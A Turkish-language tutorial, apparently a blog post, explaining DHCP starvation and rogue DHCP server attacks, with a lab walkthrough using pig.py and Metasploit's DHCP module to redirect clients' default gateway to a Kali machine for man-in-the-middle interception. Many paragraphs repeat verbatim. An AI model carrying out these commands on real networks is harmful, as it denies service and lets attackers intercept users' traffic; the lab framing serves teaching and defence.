Dynamic Host Configuration Protocol,
istemcilere(client) IP Adres, Ağ Maskesi(Ağ Maskesi), DNS Sunucusu, Varsayılan
Ağ Geçidi(Default Gateway) gibi ayar bilgilerini otomatik olarak sağlayan bir
istemci/sunucu protokolüdür. DHCP Starvation saldırısı ile bir ağın DHCP
Sunucusu’ı cevap veremez ve IP dağıtamaz hale gelebilmektedir. Hemen ardından
saldırgan tarafından kurulacak olan Sahte DHCP Sunucusu ile ise ağdaki yeni
istemcilerin DNS, ağ geçidi gibi adres bilgilerini saldırganın amacı
doğrultusunda dağıtmak mümkün olmaktadır.
istemcilere(client) IP Adres, Ağ Maskesi(Ağ Maskesi), DNS Sunucusu, Varsayılan
Ağ Geçidi(Default Gateway) gibi ayar bilgilerini otomatik olarak sağlayan bir
istemci/sunucu protokolüdür. DHCP Starvation saldırısı ile bir ağın DHCP
Sunucusu’ı cevap veremez ve IP dağıtamaz hale gelebilmektedir. Hemen ardından
saldırgan tarafından kurulacak olan Sahte DHCP Sunucusu ile ise ağdaki yeni
istemcilerin DNS, ağ geçidi gibi adres bilgilerini saldırganın amacı
doğrultusunda dağıtmak mümkün olmaktadır.
DHCP Starvation Saldırı Yöntemi:
Eğer ağa fazlasıyla DHCPRequest paketi gönderildiyse saldırgan, DHCP Sunucusunu
dağıtmak için ayırdığı adresleri uzun bir süre meşgul edebilmektedir. Böylece
hedef alınan ağdaki istemcilerin DHCP havuzu kaynakları kullanılamaz hale
gelmektedir. Bu yüzden DHCP Starvation, DOS saldırısı olarak
adlandırılmaktadır.
Sahte DHCP Sunucusu: DHCP
Starvation saldırısı ardından, saldırgan bir Sahte DHCP Sunucusu kurabilmekte
ve ‘man in the middle’ saldırılarını düzenleyebilmektedir veya kendi makinesini
varsayılan ağ geçidi olarak ayarlayıp trafiği izleyebilmektedir.
Starvation saldırısı ardından, saldırgan bir Sahte DHCP Sunucusu kurabilmekte
ve ‘man in the middle’ saldırılarını düzenleyebilmektedir veya kendi makinesini
varsayılan ağ geçidi olarak ayarlayıp trafiği izleyebilmektedir.
Sahte DHCP Sunucusu, saldırgan
tarafından hedef ağ üzerinde kurulmuş bir DHCP Sunucusudur. Sahte DHCP
Sunucuları genellikle hedef ağ üzerinde MITM, sniffing gibi saldırılar için
kullanılabilmektedir.
Resim Kaynağı:
pig.py aracıyla DHCP Starvation
saldırısı yaparak ağdaki gerçek DHCP Sunucusu cevap veremez hale
getirilebilmektedir. Böylece ağdaki yeni istemcilere dağıtılacak uygun ip
adresi kalmamış olmaktadır. Bu saldırı türü, ağda bulunan istemcilerin uzun
süreli çevrimiçi olduğu durumlarda oldukça etkili olmaktadır. Aksi takdirde
saldırıyı belli aralıklarda tekrarlamak gerekmektedir.
saldırısı yaparak ağdaki gerçek DHCP Sunucusu cevap veremez hale
getirilebilmektedir. Böylece ağdaki yeni istemcilere dağıtılacak uygun ip
adresi kalmamış olmaktadır. Bu saldırı türü, ağda bulunan istemcilerin uzun
süreli çevrimiçi olduğu durumlarda oldukça etkili olmaktadır. Aksi takdirde
saldırıyı belli aralıklarda tekrarlamak gerekmektedir.
Uygulama
İlk olarak hedef ağın Ağ
Maskesi, DNS Sunucusu ve Ağ Geçidi bilgileri keşfedilir. Daha sonra
arayüzü(eth0) ağda kullanılmayan bir ip adresi bularak ayarlanır. Örnek lab
ortamında ağ bilgileri aşağıdaki gibidir:
Maskesi, DNS Sunucusu ve Ağ Geçidi bilgileri keşfedilir. Daha sonra
arayüzü(eth0) ağda kullanılmayan bir ip adresi bularak ayarlanır. Örnek lab
ortamında ağ bilgileri aşağıdaki gibidir:
- Ağ
Maskesi: 255.255.255.0 - Varsayılan
Yönlendirici(Router) Adresi: 10.1.10.1
root@kali:~# ifconfig eth0
10.1.10.10 netmask 255.255.255.0 |
Varsayılan Ağ Geçidi olarak
kullanılacak bir alt-arayüz(alt-arayüz) oluşturulur(eth0:1).
kullanılacak bir alt-arayüz(alt-arayüz) oluşturulur(eth0:1).
Alt-arayüz için de kullanılmayan bir
ip adresi ayarlanır. Bu arayüzü Varsayılan Yönlendirici Adresi olarak
kullanacağımız için ip adresi seçiminde Varsayılan Ağ Geçidi 10.1.10.1 ise bir
alt-arayüzü 10.1.10.11 olarak ayarlamak ilk bakışta daha az dikkat çekici
olabilmektedir.
ip adresi ayarlanır. Bu arayüzü Varsayılan Yönlendirici Adresi olarak
kullanacağımız için ip adresi seçiminde Varsayılan Ağ Geçidi 10.1.10.1 ise bir
alt-arayüzü 10.1.10.11 olarak ayarlamak ilk bakışta daha az dikkat çekici
olabilmektedir.
root@kali:~# ifconfig eth0:1 10.1.10.11 netmask 255.255.255.0
root@kali:~# ifconfig
eth0 Link
encap:Ethernet HWaddr 00:00:5e:00:01:0a
inet
addr:10.1.10.10 Bcast:10.255.255.255 Mask:255.0.0.0
inet6
addr: fe80::200:5eff:fe00:10a/64 Scope:Link
UP
BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX
packets:2373 errors:0 dropped:0 overruns:0 frame:0
TX
packets:3053 errors:0 dropped:0 overruns:0 carrier:0
collisions:0
txqueuelen:1000
RX
bytes:262926 (256.7 KiB) TX bytes:277272 (270.7 KiB)
eth0:1 Link encap:Ethernet
HWaddr 00:00:5e:00:01:0a
inet
addr:10.1.10.11 Bcast:10.1.10.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST
MTU:1500 Metric:1 |
Bu noktada saldırganın makinesinde
ip yönlendirmeye izin verilir. (alt-arayüz ve ‘ip_forwarding’ ayarları
makinenin yeniden başlaması halinde kaybolmaktadır.)
root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward |
Sonraki adım olarak
alt-arayüzün(eth0:1) Varsayılan Ağ Geçidiini ayarlanmalıdır. Alt-arayüzün
Varsayılan Ağ Geçidi, hedef ağın gerçek Varsayılan Ağ Geçidi olarak
ayarlanır(10.1.10.1). İstemciler için Varsayılan Ağ Geçidi olan Kali makinesi
aynı zamanda Varsayılan Yönlendirici görevi görür.
alt-arayüzün(eth0:1) Varsayılan Ağ Geçidiini ayarlanmalıdır. Alt-arayüzün
Varsayılan Ağ Geçidi, hedef ağın gerçek Varsayılan Ağ Geçidi olarak
ayarlanır(10.1.10.1). İstemciler için Varsayılan Ağ Geçidi olan Kali makinesi
aynı zamanda Varsayılan Yönlendirici görevi görür.
Bunun anlamı Varsayılan Ağ
Geçidi 10.1.10.11 olan istemcilerin trafiği saldırganın makinesine
ulaşmaktadır. Hemen ardından ağın gerçek Varsayılan Ağ Geçidine(10.1.10.1)
yönlendirilmektedir.
root@kali:~# route add default gw
10.1.10.1 eth0:1 |
‘route -n’ komutu, yönlendirme
tablosu(Route Table) ekrana yansıtılır. Destination(0.0.0.0), yeni herhangi bir
trafiğin direk olarak Ağ Geçidi(10.1.10.1)’e gönderilmesini göstermektedir.
tablosu(Route Table) ekrana yansıtılır. Destination(0.0.0.0), yeni herhangi bir
trafiğin direk olarak Ağ Geçidi(10.1.10.1)’e gönderilmesini göstermektedir.
root@kali:~# route -n
Kernel IP routing table
Destination Gateway
Genmask Flags Metric Ref Use Iface
0.0.0.0 10.1.10.1
0.0.0.0 UG 0 0 0 eth0
…
|
Terminalde farklı bir tab açılarak
‘metasploit’ başlatılır. Ardından Sahte DHCP Sunucusu ayarları yapılır.
‘metasploit’ başlatılır. Ardından Sahte DHCP Sunucusu ayarları yapılır.
root@kali:~# msfconsole
|
DHCP modülü başlatılır. ‘show
options’ komutu ile ekrana girilmesi gereken parametreler ve açıklamaları
yazdırılır.
options’ komutu ile ekrana girilmesi gereken parametreler ve açıklamaları
yazdırılır.
msf > use auxiliary/server/dhcp
msf auxiliary(dhcp) > show options
Module options (auxiliary/server/dhcp):
Name Current Setting Required Description
—- ————— ——– ———–
BROADCAST
no The broadcast address to send to
DHCPIPEND
no The last IP to give out
DHCPIPSTART
no The first IP to give out
DNSSERVER
no The DNS server IP address
DOMAINNAME
no The optional domain name to assign
FILENAME
no The optional filename of a tftp boot server
HOSTNAME
no The optional hostname to assign
HOSTSTART
no The optional host integer counter
NETMASK
yes The netmask of the local subnet
ROUTER
no The router IP address
SRVHOST
yes The IP of the DHCP server |
DHCPIPSTART ve DHCPIPEND
parametreleri Sahte DHCP Sunucusunun dağıtacağı ip aralığını belirlemektedir.
Bu yüzden önceden keşfedilen ağda kullanılmayan bir ip aralığı girilmelidir.
parametreleri Sahte DHCP Sunucusunun dağıtacağı ip aralığını belirlemektedir.
Bu yüzden önceden keşfedilen ağda kullanılmayan bir ip aralığı girilmelidir.
msf auxiliary(dhcp) > set broadcast 10.1.10.255
broadcast => 10.1.10.255
msf auxiliary(dhcp) > set dhcpipend 10.1.10.199
dhcpipend => 10.1.10.199
msf auxiliary(dhcp) > set dhcpipstart 10.1.10.101
dhcpipstart => 10.1.10.101
msf auxiliary(dhcp) > set dnsserver 8.8.8.8
dnsserver => 8.8.8.8
msf auxiliary(dhcp) > set netmask 255.255.255.0
netmask => 255.255.255.0
msf auxiliary(dhcp) > set router 10.1.10.11
router => 10.1.10.11
msf auxiliary(dhcp) > set srvhost 10.1.10.10
srvhost => 10.1.10.10
|
Gerekli parametrelerin verilmesinden
sonra son durum aşağıdaki gibi olmaktadır.
sonra son durum aşağıdaki gibi olmaktadır.
msf auxiliary(dhcp) > show options
Module options (auxiliary/server/dhcp):
Name Current
Setting Required Description
—-
————— ——– ———–
BROADCAST 10.1.10.255
no The broadcast address to send to
DHCPIPEND 10.1.10.199
no The last IP to give out
DHCPIPSTART
10.1.10.101 no The first IP to give out
DNSSERVER 8.8.8.8
no The DNS server IP address
DOMAINNAME
no The optional domain name to assign
FILENAME
no The optional filename of a tftp boot server
HOSTNAME
no The optional hostname to assign
HOSTSTART
no The optional host integer counter
NETMASK
255.255.255.0 yes The netmask of the local subnet
ROUTER
10.1.10.11 no The router IP address
SRVHOST
10.1.10.10 yes The IP of the DHCP server |
DHCP Starvation saldırısı başlamadan
önce ağdaki herhangi bir istemcinin Varsayılan Ağ Geçidi 10.1.10.1 olarak
gözükmektedir.
önce ağdaki herhangi bir istemcinin Varsayılan Ağ Geçidi 10.1.10.1 olarak
gözükmektedir.
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . :
fe80::9907:e380:13fe:5c6c%5
IPv4 Address. . . . . . . . . . . : 10.1.10.203
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . .
. . . : 10.1.10.1 |
Sahte DHCP Sunucusunun ayarları
yapılmış ve başlatılmak için bekletilirken DHCP Starvation saldırısı
başlatılır.
yapılmış ve başlatılmak için bekletilirken DHCP Starvation saldırısı
başlatılır.
‘pig.py eth0:1’ komutunu
çalıştırılır.
root@kali:~# pig.py eth0:1
WARNING: No route found for IPv6 destination :: (no default
route?)
[ — ] [INFO] – using interface eth0:1
[DBG ] Thread 0 – (Sniffer) READY
[DBG ] Thread 1 – (Sender) READY
[—>] DHCP_Discover
[—>] DHCP_Discover
[—>] DHCP_Discover
[<—] DHCP_Offer cc:01:62:9d:00:00
0.0.0.0 IP: 10.1.10.251 for MAC=[de:ad:21:3b:c5:df]
[—>] DHCP_Request 10.1.10.251
…
|
Ardından Sahte DHCP Sunucusu
başlatılır.
msf auxiliary(dhcp) > run
[*] Auxiliary module execution completed
[*] Starting DHCP server…
|
Artık ağa yeni bağlanacak olan
istemci, Kali makinedeki Sahte DHCP Sunucusundan ip almaktadır.
istemci, Kali makinedeki Sahte DHCP Sunucusundan ip almaktadır.
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . :
fe80::9907:e380:13fe:5c6c%5
IPv4 Address. . . . . . . . . . . : 10.1.10.102
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . .
. . . : 10.1.10.11 |
Bu noktadan sonra man in the middle
yöntemiyle trafiği takip etmek mümkün olmaktadır.
Yazar: Barış DURKUT